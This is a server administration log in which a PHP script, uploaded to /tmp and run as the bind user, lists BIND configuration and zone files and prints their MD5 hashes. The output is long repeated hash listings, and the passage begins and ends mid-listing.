MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:45:30: Establishing a connection
2026-04-28 14:45:36: Establishing a connection
2026-04-28 14:45:36: 

PUT: /tmp/pkp287057

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:45:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp287057; rm /tmp/pkp287057'

2026-04-28 14:45:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:45:38: Establishing a connection
2026-04-28 14:45:38: 

PUT: /tmp/pkp120569

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:45:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp120569; rm /tmp/pkp120569'

2026-04-28 14:45:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
